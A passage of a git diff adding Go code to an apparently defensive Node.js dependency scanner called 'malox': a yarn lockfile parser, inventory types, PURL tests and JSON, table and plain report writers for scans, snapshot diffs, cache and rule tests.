a/internal/node/purl_test.go b/internal/node/purl_test.go new file mode 100644 index 0000000..0e52aa2 --- /dev/null +++ b/internal/node/purl_test.go @@ -0,0 +1,24 @@ +package node + +import "testing" + +func TestNpmPURL(t *testing.T) { + tests := []struct { + name string + version string + want string + }{ + {name: "left-pad", version: "1.3.0", want: "pkg:npm/left-pad@1.3.0"}, + {name: "@scope/pkg", version: "1.2.3", want: "pkg:npm/%40scope/pkg@1.2.3"}, + {name: "left-pad", version: "^1.3.0", want: ""}, + {name: "left-pad", version: "npm:other@1.3.0", want: ""}, + } + + for _, tt := range tests { + t.Run(tt.name+"/"+tt.version, func(t *testing.T) { + if got := NpmPURL(tt.name, tt.version); got != tt.want { + t.Fatalf("NpmPURL() = %q, want %q", got, tt.want) + } + }) + } +} diff --git a/internal/node/types.go b/internal/node/types.go new file mode 100644 index 0000000..94acd68 --- /dev/null +++ b/internal/node/types.go @@ -0,0 +1,91 @@ +// Package node discovers Node.js project metadata and dependency inventories. +package node + +// SchemaVersion is the public node inventory schema embedded in scan snapshots. +const SchemaVersion = "malox.node.inventory.v1" + +// FileRef describes a scanned project file available to the node inventory pass. +type FileRef struct { + Path string `json:"path"` + SHA256 string `json:"sha256,omitempty"` + Status string `json:"status,omitempty"` +} + +// BuildOptions configures one node inventory pass. +type BuildOptions struct { + Root string + Files []FileRef + Signals []PackageManagerSignal +} + +// Inventory contains package-manager signals, parsed metadata, and warnings. +type Inventory struct { + SchemaVersion string `json:"schema_version"` + Signals []PackageManagerSignal `json:"package_manager_signals"` + Manifests []SourceFile `json:"manifests"` + Lockfiles []SourceFile `json:"lockfiles"` + Dependencies []Dependency `json:"dependencies"` + PackageScripts []PackageScript `json:"package_scripts"` + Warnings []Warning `json:"warnings"` + Summary Summary `json:"summary"` +} + +// PackageManagerSignal describes a package-manager clue discovered in a project. +type PackageManagerSignal struct { + Manager string `json:"manager"` + Kind string `json:"kind"` + Path string `json:"path"` +} + +// SourceFile identifies a manifest or lockfile participating in the inventory. +type SourceFile struct { + Path string `json:"path"` + SHA256 string `json:"sha256,omitempty"` + Manager string `json:"manager"` + Kind string `json:"kind"` +} + +// Dependency describes one package identity discovered from manifests or lockfiles. +type Dependency struct { + Name string `json:"name"` + Version string `json:"version,omitempty"` + PURL string `json:"purl,omitempty"` + Maintainers []string `json:"maintainers,omitempty"` + PackageManager string `json:"package_manager_source"` + DependencyType string `json:"dependency_type,omitempty"` + SourcePath string `json:"source_path"` + PackagePath string `json:"package_path,omitempty"` + Integrity string `json:"integrity,omitempty"` + Resolved string `json:"resolved,omitempty"` + Scripts map[string]string `json:"scripts,omitempty"` + HasInstallScript bool `json:"has_install_script,omitempty"` +} + +// PackageScript describes one lifecycle or package script without executing it. +type PackageScript struct { + PackageName string `json:"package_name,omitempty"` + PackageVersion string `json:"package_version,omitempty"` + PURL string `json:"purl,omitempty"` + Maintainers []string `json:"maintainers,omitempty"` + PackageManager string `json:"package_manager_source"` + SourcePath string `json:"source_path"` + PackagePath string `json:"package_path,omitempty"` + ScriptName string `json:"script_name"` + Command string `json:"command"` +} + +// Warning reports a malformed or unsupported project metadata file. +type Warning struct { + Path string `json:"path"` + Code string `json:"code"` + Message string `json:"message"` +} + +// Summary contains aggregate node inventory counts. +type Summary struct { + ManifestCount int `json:"manifest_count"` + LockfileCount int `json:"lockfile_count"` + DependencyCount int `json:"dependency_count"` + PackageScripts int `json:"package_scripts"` + Warnings int `json:"warnings"` +} diff --git a/internal/node/yaml.go b/internal/node/yaml.go new file mode 100644 index 0000000..13f973b --- /dev/null +++ b/internal/node/yaml.go @@ -0,0 +1,12 @@ +package node + +import ( + "bytes" + + "gopkg.in/yaml.v3" +) + +func yamlUnmarshal(data []byte, target any) error { + decoder := yaml.NewDecoder(bytes.NewReader(data)) + return decoder.Decode(target) +} diff --git a/internal/node/yarn.go b/internal/node/yarn.go new file mode 100644 index 0000000..12e0028 --- /dev/null +++ b/internal/node/yarn.go @@ -0,0 +1,198 @@ +package node + +import ( + "bufio" + "bytes" + "fmt" + "strings" +) + +func parseYarnLock(path string, data []byte) ([]Dependency, []Warning) { + if bytes.Contains(data, []byte("__metadata:")) { + deps, err := parseYarnBerryLock(path, data) + if err != nil { + return nil, []Warning{{ + Path: path, + Code: "yarn_lock_parse_error", + Message: err.Error(), + }} + } + return deps, []Warning{{ + Path: path, + Code: "yarn_berry_partial_support", + Message: "yarn v2+ lockfile parsing is partial in this milestone", + }} + } + + deps, err := parseYarnClassicLock(path, data) + if err != nil { + return nil, []Warning{{ + Path: path, + Code: "yarn_lock_parse_error", + Message: err.Error(), + }} + } + return deps, nil +} + +func parseYarnClassicLock(path string, data []byte) ([]Dependency, error) { + scanner := bufio.NewScanner(bytes.NewReader(data)) + var current []string + fields := map[string]string{} + out := []Dependency{} + + flush := func() { + if len(current) == 0 || fields["version"] == "" { + current = nil + fields = map[string]string{} + return + } + version := fields["version"] + for _, selector := range current { + name := packageNameFromSelector(selector) + if name == "" { + continue + } + out = append(out, Dependency{ + Name: name, + Version: version, + PURL: NpmPURL(name, version), + PackageManager: "yarn", + DependencyType: "locked", + SourcePath: path, + PackagePath: "node_modules/" + name, + Integrity: fields["integrity"], + Resolved: fields["resolved"], + }) + } + current = nil + fields = map[string]string{} + } + + for scanner.Scan() { + line := scanner.Text() + trimmed := strings.TrimSpace(line) + if trimmed == "" || strings.HasPrefix(trimmed, "#") { + continue + } + if !strings.HasPrefix(line, " ") && strings.HasSuffix(trimmed, ":") { + flush() + current = splitYarnSelectors(strings.TrimSuffix(trimmed, ":")) + continue + } + if len(current) == 0 { + continue + } + key, value, ok := strings.Cut(trimmed, " ") + if !ok { + continue + } + value = strings.Trim(value, `"`) + switch key { + case "version", "resolved", "integrity": + fields[key] = value + } + } + if err := scanner.Err(); err != nil { + return nil, fmt.Errorf("read yarn lockfile: %w", err) + } + flush() + return dedupeDependencies(out), nil +} + +type yarnBerryLock map[string]struct { + Version string `yaml:"version"` + Resolution string `yaml:"resolution"` + Checksum string `yaml:"checksum"` +} + +func parseYarnBerryLock(path string, data []byte) ([]Dependency, error) { + var lock yarnBerryLock + if err := yamlUnmarshal(data, &lock); err != nil { + return nil, fmt.Errorf("parse yarn berry lockfile: %w", err) + } + out := []Dependency{} + for _, selector := range sortedMapKeys(lock) { + if selector == "__metadata" { + continue + } + item := lock[selector] + name := packageNameFromSelector(selector) + version := item.Version + if version == "" { + _, version, _ = parseYarnResolution(item.Resolution) + } + if name == "" || version == "" { + continue + } + out = append(out, Dependency{ + Name: name, + Version: version, + PURL: NpmPURL(name, version), + PackageManager: "yarn", + DependencyType: "locked", + SourcePath: path, + PackagePath: "node_modules/" + name, + Integrity: item.Checksum, + Resolved: item.Resolution, + }) + } + return dedupeDependencies(out), nil +} + +func splitYarnSelectors(value string) []string { + parts := []string{} + var b strings.Builder + inQuote := false + for _, r := range value { + switch r { + case '"': + inQuote = !inQuote + b.WriteRune(r) + case ',': + if inQuote { + b.WriteRune(r) + continue + } + parts = append(parts, strings.Trim(strings.TrimSpace(b.String()), `"`)) + b.Reset() + default: + b.WriteRune(r) + } + } + if b.Len() > 0 { + parts = append(parts, strings.Trim(strings.TrimSpace(b.String()), `"`)) + } + return parts +} + +func packageNameFromSelector(selector string) string { + selector = strings.Trim(strings.TrimSpace(selector), `"`) + if selector == "" { + return "" + } + if strings.HasPrefix(selector, "@") { + slash := strings.Index(selector, "/") + if slash < 0 { + return "" + } + at := strings.Index(selector[slash:], "@") + if at < 0 { + return selector + } + return selector[:slash+at] + } + at := strings.Index(selector, "@") + if at < 0 { + return selector + } + return selector[:at] +} + +func parseYarnResolution(value string) (string, string, bool) { + name, rest, ok := strings.Cut(value, "@npm:") + if !ok { + return "", "", false + } + return name, rest, true +} diff --git a/internal/report/cache.go b/internal/report/cache.go new file mode 100644 index 0000000..91a3fa5 --- /dev/null +++ b/internal/report/cache.go @@ -0,0 +1,79 @@ +package report + +import ( + "encoding/json" + "fmt" + "io" + + "malox/internal/cache" +) + +// WriteCache writes a cache command report in the requested output format. +func WriteCache(w io.Writer, result cache.CommandReport, format Format) error { + switch format { + case FormatJSON: + return writeCacheJSON(w, result) + case FormatTable: + return writeCacheTable(w, result) + case FormatPlain: + return writeCachePlain(w, result) + default: + return fmt.Errorf("unsupported cache output format %q", format) + } +} + +func writeCacheJSON(w io.Writer, result cache.CommandReport) error { + encoder := json.NewEncoder(w) + encoder.SetIndent("", " ") + return encoder.Encode(result) +} + +func writeCacheTable(w io.Writer, result cache.CommandReport) error { + if _, err := fmt.Fprintf(w, "Cache %s\n", result.Operation); err != nil { + return err + } + for _, source := range result.Sources { + if _, err := fmt.Fprintf( + w, + " %s: records_changed=%d bytes_written=%d bytes_removed=%d\n", + source.Source, + source.RecordsChanged, + source.BytesWritten, + source.BytesRemoved, + ); err != nil { + return err + } + for _, warning := range source.Warnings { + if _, err := fmt.Fprintf(w, " warning: %s\n", warning); err != nil { + return err + } + } + } + for _, warning := range result.Warnings { + if _, err := fmt.Fprintf(w, "Warning: %s\n", warning); err != nil { + return err + } + } + return nil +} + +func writeCachePlain(w io.Writer, result cache.CommandReport) error { + var recordsChanged int + var bytesWritten int64 + var bytesRemoved int64 + for _, source := range result.Sources { + recordsChanged += source.RecordsChanged + bytesWritten += source.BytesWritten + bytesRemoved += source.BytesRemoved + } + _, err := fmt.Fprintf( + w, + "operation=%s records_changed=%d bytes_written=%d bytes_removed=%d warnings=%d\n", + result.Operation, + recordsChanged, + bytesWritten, + bytesRemoved, + len(result.Warnings), + ) + return err +} diff --git a/internal/report/diff.go b/internal/report/diff.go new file mode 100644 index 0000000..fac2057 --- /dev/null +++ b/internal/report/diff.go @@ -0,0 +1,252 @@ +package report + +import ( + "encoding/json" + "fmt" + "io" + + "malox/internal/diff" + "malox/internal/rules" +) + +// DiffReport is the public JSON contract for snapshot diffs. +type DiffReport struct { + SchemaVersion string `json:"schema_version"` + FromScanID string `json:"from_scan_id"` + ToScanID string `json:"to_scan_id"` + AddedFiles []FileChange `json:"added_files"` + RemovedFiles []FileChange `json:"removed_files"` + ModifiedFiles []FileChange `json:"modified_files"` + UnchangedFiles []FileChange `json:"unchanged_files"` + SkippedFiles []FileChange `json:"skipped_files"` + NewDependencies []DependencyChange `json:"new_dependencies"` + RemovedDependencies []DependencyChange `json:"removed_dependencies"` + UpdatedDependencies []DependencyChange `json:"updated_dependencies"` + NewPackageScripts []PackageScriptChange `json:"new_package_scripts"` + ChangedPackageScripts []PackageScriptChange `json:"changed_package_scripts"` + NewFindings []FindingChange `json:"new_findings"` + ResolvedFindings []FindingChange `json:"resolved_findings"` + StillExistingFindings []FindingChange `json:"still_existing_findings"` +} + +// FileChange is one file state transition in diff JSON output. +type FileChange struct { + Path string `json:"path"` + State string `json:"state"` + FromStatus string `json:"from_status,omitempty"` + ToStatus string `json:"to_status,omitempty"` + FromSHA256 string `json:"from_sha256,omitempty"` + ToSHA256 string `json:"to_sha256,omitempty"` + FromSize int64 `json:"from_size,omitempty"` + ToSize int64 `json:"to_size,omitempty"` + PackageOwner string `json:"package_owner,omitempty"` +} + +// DependencyChange is one dependency transition in diff JSON output. +type DependencyChange struct { + Name string `json:"name"` + PackageManager string `json:"package_manager_source,omitempty"` + DependencyType string `json:"dependency_type,omitempty"` + SourcePath string `json:"source_path,omitempty"` + PackagePath string `json:"package_path,omitempty"` + FromVersion string `json:"from_version,omitempty"` + ToVersion string `json:"to_version,omitempty"` + FromPURL string `json:"from_purl,omitempty"` + ToPURL string `json:"to_purl,omitempty"` + FromIntegrity string `json:"from_integrity,omitempty"` + ToIntegrity string `json:"to_integrity,omitempty"` + FromResolved string `json:"from_resolved,omitempty"` + ToResolved string `json:"to_resolved,omitempty"` +} + +// PackageScriptChange is one new or changed package script in diff JSON output. +type PackageScriptChange struct { + PackageName string `json:"package_name,omitempty"` + PackageManager string `json:"package_manager_source,omitempty"` + SourcePath string `json:"source_path,omitempty"` + PackagePath string `json:"package_path,omitempty"` + ScriptName string `json:"script_name"` + FromCommand string `json:"from_command,omitempty"` + ToCommand string `json:"to_command,omitempty"` +} + +// FindingChange is one finding transition in diff JSON output. +type FindingChange struct { + ID string `json:"id,omitempty"` + RuleID string `json:"rule_id,omitempty"` + RuleType string `json:"rule_type,omitempty"` + Severity rules.Severity `json:"severity,omitempty"` + Confidence rules.Confidence `json:"confidence,omitempty"` + Source string `json:"source,omitempty"` + Summary string `json:"summary,omitempty"` + Path string `json:"path,omitempty"` + PackageName string `json:"package_name,omitempty"` + PURL string `json:"purl,omitempty"` + ScriptName string `json:"script_name,omitempty"` + Suppressed bool `json:"suppressed"` + Blocking bool `json:"blocking"` +} + +// WriteDiff writes a snapshot diff in the requested output format. +func WriteDiff(w io.Writer, report diff.Report, format Format) error { + switch format { + case FormatJSON: + return writeDiffJSON(w, report) + case FormatTable: + return writeDiffTable(w, report) + case FormatPlain: + return writeDiffPlain(w, report) + default: + return fmt.Errorf("unsupported diff output format %q", format) + } +} + +// NewDiffReport converts an internal diff report into the public JSON model. +func NewDiffReport(report diff.Report) DiffReport { + return DiffReport{ + SchemaVersion: report.SchemaVersion, + FromScanID: report.FromScanID, + ToScanID: report.ToScanID, + AddedFiles: diffFiles(report.AddedFiles), + RemovedFiles: diffFiles(report.RemovedFiles), + ModifiedFiles: diffFiles(report.ModifiedFiles), + UnchangedFiles: diffFiles(report.UnchangedFiles), + SkippedFiles: diffFiles(report.SkippedFiles), + NewDependencies: diffDependencies(report.NewDependencies), + RemovedDependencies: diffDependencies(report.RemovedDependencies), + UpdatedDependencies: diffDependencies(report.UpdatedDependencies), + NewPackageScripts: diffPackageScripts(report.NewPackageScripts), + ChangedPackageScripts: diffPackageScripts(report.ChangedPackageScripts), + NewFindings: diffFindings(report.NewFindings), + ResolvedFindings: diffFindings(report.ResolvedFindings), + StillExistingFindings: diffFindings(report.StillExistingFindings), + } +} + +func writeDiffJSON(w io.Writer, report diff.Report) error { + encoder := json.NewEncoder(w) + encoder.SetIndent("", " ") + return encoder.Encode(NewDiffReport(report)) +} + +func writeDiffTable(w io.Writer, report diff.Report) error { + _, err := fmt.Fprintf( + w, + "Snapshot diff\nFrom: %s\nTo: %s\nFiles: %d added, %d removed, %d modified, %d unchanged, %d skipped\nDependencies: %d new, %d removed, %d updated\nPackage scripts: %d new, %d changed\nFindings: %d new, %d resolved, %d still existing\n", + report.FromScanID, + report.ToScanID, + len(report.AddedFiles), + len(report.RemovedFiles), + len(report.ModifiedFiles), + len(report.UnchangedFiles), + len(report.SkippedFiles), + len(report.NewDependencies), + len(report.RemovedDependencies), + len(report.UpdatedDependencies), + len(report.NewPackageScripts), + len(report.ChangedPackageScripts), + len(report.NewFindings), + len(report.ResolvedFindings), + len(report.StillExistingFindings), + ) + return err +} + +func writeDiffPlain(w io.Writer, report diff.Report) error { + _, err := fmt.Fprintf( + w, + "added=%d removed=%d modified=%d unchanged=%d skipped=%d new_dependencies=%d removed_dependencies=%d updated_dependencies=%d new_package_scripts=%d changed_package_scripts=%d new_findings=%d resolved_findings=%d still_existing_findings=%d\n", + len(report.AddedFiles), + len(report.RemovedFiles), + len(report.ModifiedFiles), + len(report.UnchangedFiles), + len(report.SkippedFiles), + len(report.NewDependencies), + len(report.RemovedDependencies), + len(report.UpdatedDependencies), + len(report.NewPackageScripts), + len(report.ChangedPackageScripts), + len(report.NewFindings), + len(report.ResolvedFindings), + len(report.StillExistingFindings), + ) + return err +} + +func diffFiles(changes []diff.FileChange) []FileChange { + out := make([]FileChange, 0, len(changes)) + for _, change := range changes { + out = append(out, FileChange{ + Path: change.Path, + State: string(change.State), + FromStatus: string(change.FromStatus), + ToStatus: string(change.ToStatus), + FromSHA256: change.FromSHA256, + ToSHA256: change.ToSHA256, + FromSize: change.FromSize, + ToSize: change.ToSize, + PackageOwner: change.PackageOwner, + }) + } + return out +} + +func diffDependencies(changes []diff.DependencyChange) []DependencyChange { + out := make([]DependencyChange, 0, len(changes)) + for _, change := range changes { + out = append(out, DependencyChange{ + Name: change.Name, + PackageManager: change.PackageManager, + DependencyType: change.DependencyType, + SourcePath: change.SourcePath, + PackagePath: change.PackagePath, + FromVersion: change.FromVersion, + ToVersion: change.ToVersion, + FromPURL: change.FromPURL, + ToPURL: change.ToPURL, + FromIntegrity: change.FromIntegrity, + ToIntegrity: change.ToIntegrity, + FromResolved: change.FromResolved, + ToResolved: change.ToResolved, + }) + } + return out +} + +func diffPackageScripts(changes []diff.PackageScriptChange) []PackageScriptChange { + out := make([]PackageScriptChange, 0, len(changes)) + for _, change := range changes { + out = append(out, PackageScriptChange{ + PackageName: change.PackageName, + PackageManager: change.PackageManager, + SourcePath: change.SourcePath, + PackagePath: change.PackagePath, + ScriptName: change.ScriptName, + FromCommand: change.FromCommand, + ToCommand: change.ToCommand, + }) + } + return out +} + +func diffFindings(changes []diff.FindingChange) []FindingChange { + out := make([]FindingChange, 0, len(changes)) + for _, change := range changes { + out = append(out, FindingChange{ + ID: change.ID, + RuleID: change.RuleID, + RuleType: change.RuleType, + Severity: change.Severity, + Confidence: change.Confidence, + Source: change.Source, + Summary: change.Summary, + Path: change.Path, + PackageName: change.PackageName, + PURL: change.PURL, + ScriptName: change.ScriptName, + Suppressed: change.Suppressed, + Blocking: change.Blocking, + }) + } + return out +} diff --git a/internal/report/diff_test.go b/internal/report/diff_test.go new file mode 100644 index 0000000..e723f9b --- /dev/null +++ b/internal/report/diff_test.go @@ -0,0 +1,78 @@ +package report + +import ( + "bytes" + "encoding/json" + "testing" + + "malox/internal/diff" + "malox/internal/scan" +) + +func TestWriteDiffJSONUsesPublicSchema(t *testing.T) { + report := diff.Report{ + SchemaVersion: diff.SchemaVersion, + FromScanID: "old", + ToScanID: "new", + AddedFiles: []diff.FileChange{ + { + Path: "added.js", + State: scan.FileStateAdded, + ToStatus: scan.StatusScanned, + ToSHA256: "abc123", + ToSize: 6, + }, + }, + RemovedFiles: []diff.FileChange{}, + ModifiedFiles: []diff.FileChange{}, + UnchangedFiles: []diff.FileChange{}, + SkippedFiles: []diff.FileChange{}, + NewDependencies: []diff.DependencyChange{ + { + Name: "left-pad", + PackageManager: "npm", + ToVersion: "1.3.0", + ToPURL: "pkg:npm/left-pad@1.3.0", + }, + }, + RemovedDependencies: []diff.DependencyChange{}, + UpdatedDependencies: []diff.DependencyChange{}, + NewPackageScripts: []diff.PackageScriptChange{ + { + PackageName: "left-pad", + PackageManager: "package.json", + ScriptName: "install", + ToCommand: "node install.js", + }, + }, + ChangedPackageScripts: []diff.PackageScriptChange{}, + NewFindings: []diff.FindingChange{}, + ResolvedFindings: []diff.FindingChange{}, + StillExistingFindings: []diff.FindingChange{}, + } + + var out bytes.Buffer + if err := WriteDiff(&out, report, FormatJSON); err != nil { + t.Fatalf("WriteDiff() error = %v", err) + } + + var document DiffReport + if err := json.Unmarshal(out.Bytes(), &document); err != nil { + t.Fatalf("output is not valid JSON: %v\n%s", err, out.String()) + } + if document.SchemaVersion != diff.SchemaVersion { + t.Fatalf("SchemaVersion = %q, want %q", document.SchemaVersion, diff.SchemaVersion) + } + if len(document.AddedFiles) != 1 || document.AddedFiles[0].Path != "added.js" { + t.Fatalf("AddedFiles = %#v, want added.js", document.AddedFiles) + } + if len(document.NewDependencies) != 1 || document.NewDependencies[0].Name != "left-pad" { + t.Fatalf("NewDependencies = %#v, want left-pad", document.NewDependencies) + } + if len(document.NewPackageScripts) != 1 || document.NewPackageScripts[0].ScriptName != "install" { + t.Fatalf("NewPackageScripts = %#v, want install", document.NewPackageScripts) + } + if document.NewFindings == nil || document.ResolvedFindings == nil || document.StillExistingFindings == nil { + t.Fatalf("finding arrays must be present as empty arrays: %#v", document) + } +} diff --git a/internal/report/rules.go b/internal/report/rules.go new file mode 100644 index 0000000..236d651 --- /dev/null +++ b/internal/report/rules.go @@ -0,0 +1,60 @@ +package report + +import ( + "encoding/json" + "fmt" + "io" + + "malox/internal/rules" +) + +// WriteRulesTest writes a rules test result in the requested output format. +func WriteRulesTest(w io.Writer, result rules.TestResult, format Format) error { + switch format { + case FormatJSON: + return writeRulesTestJSON(w, result) + case FormatTable: + return writeRulesTestTable(w, result) + case FormatPlain: + return writeRulesTestPlain(w, result) + default: + return fmt.Errorf("unsupported rules test output format %q", format) + } +} + +func writeRulesTestJSON(w io.Writer, result rules.TestResult) error { + encoder := json.NewEncoder(w) + encoder.SetIndent("", " ") + return encoder.Encode(result) +} + +func writeRulesTestTable(w io.Writer, result rules.TestResult) error { + status := "passed" + if !result.Passed { + status = "failed" + } + _, err := fmt.Fprintf( + w, + "Rules test %s\nRule file: %s\nFixture: %s\nFindings: %d\nWarnings: %d\nErrors: %d\n", + status, + result.RuleFile, + result.Fixture, + result.MatchCount, + len(result.Warnings), + len(result.Errors), + ) + return err +} + +func writeRulesTestPlain(w io.Writer, result rules.TestResult) error { + _, err := fmt.Fprintf( + w, + "passed=%t valid=%t findings=%d warnings=%d errors=%d\n", + result.Passed, + result.Valid, + result.MatchCount, + len(result.Warnings), + len(result.Errors), + ) + return err +} diff --git a/internal/report/scan.go b/internal/report/scan.go new file mode 100644 index 0000000..743ceb8 --- /dev/null +++ b/internal/report/scan.go @@ -0,0 +1,405 @@ +package report + +import ( + "encoding/json" + "fmt" + "io" + "strings" + "time" + + "malox/internal/node" + "malox/internal/rules" + "malox/internal/scan" +) + +// ScanSnapshot is the public JSON contract for baseline scan snapshots. +type ScanSnapshot struct { + SchemaVersion string `json:"schema_version"` + ScannerVersion string `json:"scanner_version"` + ScanID string `json:"scan_id"` + ProjectID string `json:"project_id"` + ProjectRoot string `json:"project_root"` + StartedAt string `json:"started_at"` + FinishedAt string `json:"finished_at"` + PackageManagers []PackageManagerSignal `json:"package_manager_signals"` + NodeInventory node.Inventory `json:"node_inventory"` + ThreatSources []ThreatSourceStatus `json:"threat_sources,omitempty"` + Findings []rules.Finding `json:"findings"` + Files []FileRecord `json:"files"` + SkippedFiles []SkippedFile `json:"skipped_files,omitempty"` + SkippedDirectories []SkippedDirectory `json:"skipped_directories,omitempty"` + Errors []Issue `json:"errors,omitempty"` + Summary ScanSummary `json:"summary"` +} + +// PackageManagerSignal is a package manager clue in scan JSON output. +type PackageManagerSignal struct { + Manager string `json:"manager"` + Kind string `json:"kind"` + Path string `json:"path"` +} + +// ThreatSourceStatus is one threat-intelligence source status in scan output. +type ThreatSourceStatus struct { + SchemaVersion string `json:"schema_version,omitempty"` + Source string `json:"source"` + Status string `json:"status"` + Mode string `json:"mode"` + FetchedAt string `json:"fetched_at,omitempty"` + CacheAge string `json:"cache_age,omitempty"` + Records int `json:"records,omitempty"` + Warning string `json:"warning,omitempty"` + Required bool `json:"required,omitempty"` +} + +// FileRecord is one file entry in scan JSON output. +type FileRecord struct { + Path string `json:"path"` + Size int64 `json:"size"` + ModifiedTime string `json:"modified_time"` + Mode string `json:"mode"` + Permissions string `json:"permissions"` + Symlink bool `json:"symlink"` + SymlinkTarget string `json:"symlink_target,omitempty"` + SHA256 string `json:"sha256,omitempty"` + Type string `json:"type"` + Status string `json:"status"` + State string `json:"state"` + SkipReason *SkipReason `json:"skip_reason,omitempty"` + PackageOwner string `json:"package_owner,omitempty"` +} + +// SkipReason describes why a path was skipped in scan JSON output. +type SkipReason struct { + Code string `json:"code"` + Message string `json:"message"` + LimitBytes int64 `json:"limit_bytes,omitempty"` + ActualBytes int64 `json:"actual_bytes,omitempty"` +} + +// SkippedFile is an intentionally skipped file in scan JSON output. +type SkippedFile struct { + Path string `json:"path"` + Reason SkipReason `json:"reason"` +} + +// SkippedDirectory is an intentionally skipped directory in scan JSON output. +type SkippedDirectory struct { + Path string `json:"path"` + Reason SkipReason `json:"reason"` +} + +// Issue is a partial scan error in scan JSON output. +type Issue struct { + Path string `json:"path"` + Code string `json:"code"` + Message string `json:"message"` +} + +// ScanSummary contains aggregate scan counts in scan JSON output. +type ScanSummary struct { + TotalFiles int `json:"total_files"` + ScannedFiles int `json:"scanned_files"` + SkippedFiles int `json:"skipped_files"` + ErroredFiles int `json:"errored_files"` + SkippedDirectories int `json:"skipped_directories"` + PackageManagers int `json:"package_managers"` + NodeModulesFiles int `json:"node_modules_files"` + NodeModulesPackages int `json:"node_modules_packages"` + Findings int `json:"findings"` + SuppressedFindings int `json:"suppressed_findings"` + BlockingFindings int `json:"blocking_findings"` + WeakFindings int `json:"weak_findings"` +} + +// WriteScan writes a scan snapshot in the requested output format. +func WriteScan(w io.Writer, snapshot scan.Snapshot, format Format) error { + switch format { + case FormatJSON: + return writeScanJSON(w, snapshot) + case FormatTable: + return writeScanTable(w, snapshot) + case FormatPlain: + return writeScanPlain(w, snapshot) + default: + return fmt.Errorf("unsupported scan output format %q", format) + } +} + +func writeScanJSON(w io.Writer, snapshot scan.Snapshot) error { + encoder := json.NewEncoder(w) + encoder.SetIndent("", " ") + return encoder.Encode(NewScanSnapshot(snapshot)) +} + +func writeScanTable(w io.Writer, snapshot scan.Snapshot) error { + signals := signalSummary(snapshot.PackageManagers) + if signals == "" { + signals = "none" + } + if _, err := fmt.Fprintf( + w, + "Scan snapshot\nProject: %s\nProject ID: %s\nFiles: %d scanned, %d skipped, %d errors\nSkipped directories: %d\nPackage managers: %s\nNode inventory: %d dependencies, %d lockfiles, %d package scripts, %d warnings\nnode_modules: %d files across %d packages\n", + snapshot.ProjectRoot, + snapshot.ProjectID, + snapshot.Summary.ScannedFiles, + snapshot.Summary.SkippedFiles, + snapshot.Summary.ErroredFiles, + snapshot.Summary.SkippedDirectories, + signals, + snapshot.Node.Summary.DependencyCount, + snapshot.Node.Summary.LockfileCount, + snapshot.Node.Summary.PackageScripts, + snapshot.Node.Summary.Warnings, + snapshot.Summary.NodeModulesFiles, + snapshot.Summary.NodeModulesPackages, + ); err != nil { + return err + } + if _, err := fmt.Fprintf( + w, + "Findings: %d total, %d blocking, %d suppressed, %d weak signals\n", + snapshot.Summary.Findings, + snapshot.Summary.BlockingFindings, + snapshot.Summary.SuppressedFindings, + snapshot.Summary.WeakFindings, + ); err != nil { + return err + } + if len(snapshot.ThreatSources) > 0 { + if _, err := fmt.Fprintln(w, "Threat sources:"); err != nil { + return err + } + for _, source := range snapshot.ThreatSources { + if _, err := fmt.Fprintf(w, " - %s: %s (%s", source.Source, source.Status, source.Mode); err != nil { + return err + } + if source.CacheAge != "" { + if _, err := fmt.Fprintf(w, ", cache_age=%s", source.CacheAge); err != nil { + return err + } + } + if source.Warning != "" { + if _, err := fmt.Fprintf(w, ", warning=%s", source.Warning); err != nil { + return err + } + } + if _, err := fmt.Fprintln(w, ")"); err != nil { + return err + } + } + } + + if len(snapshot.Node.Warnings) == 0 { + return nil + } + if _, err := fmt.Fprintln(w, "Node warnings:"); err != nil { + return err + } + for _, warning := range snapshot.Node.Warnings { + if _, err := fmt.Fprintf(w, " - %s: %s (%s)\n", warning.Path, warning.Message, warning.Code); err != nil { + return err + } + } + return nil +} + +func writeScanPlain(w io.Writer, snapshot scan.Snapshot) error { + _, err := fmt.Fprintf( + w, + "scanned=%d skipped=%d errors=%d skipped_directories=%d package_managers=%d node_dependencies=%d node_lockfiles=%d node_package_scripts=%d node_warnings=%d node_modules_files=%d findings=%d blocking_findings=%d suppressed_findings=%d weak_findings=%d\n", + snapshot.Summary.ScannedFiles, + snapshot.Summary.SkippedFiles, + snapshot.Summary.ErroredFiles, + snapshot.Summary.SkippedDirectories, + snapshot.Summary.PackageManagers, + snapshot.Node.Summary.DependencyCount, + snapshot.Node.Summary.LockfileCount, + snapshot.Node.Summary.PackageScripts, + snapshot.Node.Summary.Warnings, + snapshot.Summary.NodeModulesFiles, + snapshot.Summary.Findings, + snapshot.Summary.BlockingFindings, + snapshot.Summary.SuppressedFindings, + snapshot.Summary.WeakFindings, + ) + return err +} + +// NewScanSnapshot converts an internal scan snapshot into the public JSON model. +func NewScanSnapshot(snapshot scan.Snapshot) ScanSnapshot { + return ScanSnapshot{ + SchemaVersion: snapshot.SchemaVersion, + ScannerVersion: snapshot.ScannerVersion, + ScanID: snapshot.ScanID, + ProjectID: snapshot.ProjectID, + ProjectRoot: snapshot.ProjectRoot, + StartedAt: formatTime(snapshot.StartedAt), + FinishedAt: formatTime(snapshot.FinishedAt), + PackageManagers: scanSignals(snapshot.PackageManagers), + NodeInventory: snapshot.Node, + ThreatSources: scanThreatSources(snapshot.ThreatSources), + Findings: scanFindings(snapshot.Findings), + Files: scanFiles(snapshot.Files), + SkippedFiles: scanSkippedFiles(snapshot.SkippedFiles), + SkippedDirectories: scanSkippedDirectories(snapshot.SkippedDirectories), + Errors: scanIssues(snapshot.Errors), + Summary: ScanSummary{ + TotalFiles: snapshot.Summary.TotalFiles, + ScannedFiles: snapshot.Summary.ScannedFiles, + SkippedFiles: snapshot.Summary.SkippedFiles, + ErroredFiles: snapshot.Summary.ErroredFiles, + SkippedDirectories: snapshot.Summary.SkippedDirectories, + PackageManagers: snapshot.Summary.PackageManagers, + NodeModulesFiles: snapshot.Summary.NodeModulesFiles, + NodeModulesPackages: snapshot.Summary.NodeModulesPackages, + Findings: snapshot.Summary.Findings, + SuppressedFindings: snapshot.Summary.SuppressedFindings, + BlockingFindings: snapshot.Summary.BlockingFindings, + WeakFindings: snapshot.Summary.WeakFindings, + }, + } +} + +func scanThreatSources(sources []scan.ThreatSourceStatus) []ThreatSourceStatus { + if len(sources) == 0 { + return nil + } + out := make([]ThreatSourceStatus, 0, len(sources)) + for _, source := range sources { + out = append(out, ThreatSourceStatus{ + SchemaVersion: source.SchemaVersion, + Source: source.Source, + Status: source.Status, + Mode: source.Mode, + FetchedAt: formatTime(source.FetchedAt), + CacheAge: source.CacheAge, + Records: source.Records, + Warning: source.Warning, + Required: source.Required, + }) + } + return out +} 